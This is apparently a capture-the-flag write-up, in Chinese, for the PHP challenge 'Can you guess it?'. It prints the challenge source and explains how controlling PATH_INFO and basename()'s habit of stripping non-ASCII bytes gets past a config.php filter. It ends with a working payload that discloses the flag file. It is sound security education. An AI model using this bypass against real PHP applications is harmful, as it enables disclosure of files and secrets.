源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
拎出重点 这里过滤config 由源码可知flag就在config.php里
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
可以发现这里加上了basename() 可能是为了跨目录读文件
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
当我访问index.php时，我可以在后面加上一些东西，比如/index.php/config.php，这样仍然访问的是index.php，但经过basename()后，传进highlight_file()函数的文件名就变成了config.php
可以用%0d之类的来污染绕过，这样仍然访问得到index.php:
$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名，当使用了PATH_INFO时，这个值是可控的。所以可以尝试用/index.php/config.php?source来读取flag。
basename()函数 会去掉文件名开头的非ASCII值
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
在url要输入%ff才行
payload:
index.php/config.php/%ff?source